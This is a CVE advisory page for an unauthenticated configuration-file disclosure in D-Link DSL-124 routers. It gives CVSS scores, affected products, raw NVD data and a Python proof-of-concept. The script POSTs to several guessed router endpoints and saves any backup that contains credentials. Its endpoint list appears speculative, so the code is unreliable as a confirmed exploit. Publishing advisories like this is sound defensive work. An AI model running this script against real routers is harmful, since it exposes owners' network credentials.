Security Vulnerability Report
中文
CVE-2023-53974 CVSS 7.5 HIGH

CVE-2023-53974

Published: 2025-12-22 22:16:03
Last Modified: 2025-12-26 16:14:35

Description

D-Link DSL-124 ME_1.00 contains a configuration file disclosure vulnerability that allows unauthenticated attackers to retrieve router settings through a POST request. Attackers can send a specific POST request to the router's configuration endpoint to download a complete backup file containing sensitive network credentials and system configurations.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:dlink:dsl-124_firmware:1.00:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dsl-124:r1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DSL-124 ME_1.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-53974 PoC - D-Link DSL-124 Configuration File Disclosure # Author: VulnCheck ([email protected]) import requests import sys def exploit_dlink_config_disclosure(target_ip): """ Exploit for CVE-2023-53974: Unauthenticated configuration file disclosure on D-Link DSL-124 ME_1.00 routers. """ # Configuration backup endpoint - commonly found on D-Link devices config_endpoint = "/cgi-bin/Export_Config.sh" # Alternative endpoints to try endpoints = [ "/cgi-bin/Export_Config.sh", "/cgi-bin/export_config.cgi", "/cgi-bin/config_backup", "/export.cfg" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } for endpoint in endpoints: url = f"http://{target_ip}{endpoint}" try: # Send POST request without authentication response = requests.post(url, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 100: print(f"[+] SUCCESS: Configuration file retrieved from {endpoint}") print(f"[+] File size: {len(response.content)} bytes") # Save the configuration file output_file = f"config_backup_{target_ip.replace('.', '_')}.bin" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Configuration saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[-] Exploitation failed - no valid endpoint found") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_dlink_config_disclosure(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53974", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:16:02.647", "lastModified": "2025-12-26T16:14:34.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DSL-124 ME_1.00 contains a configuration file disclosure vulnerability that allows unauthenticated attackers to retrieve router settings through a POST request. Attackers can send a specific POST request to the router's configuration endpoint to download a complete backup file containing sensitive network credentials and system configurations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dsl-124_firmware:1.00:*:*:*:*:*:*:*", "matchCriteriaId": "976AD5B7-9B05-4AA0-B180-DD2D898C8B01"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dsl-124:r1:*:*:*:*:*:*:*", "matchCriteriaId": "11EC0869-71D0-4964-A0AA-971321019AB1"}]}]}], "references": [{"url": "https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dlink.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51129", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/d-link-dsl-me-backup-configuration-file-disclosure-via-unauthenticated-request", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51129", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}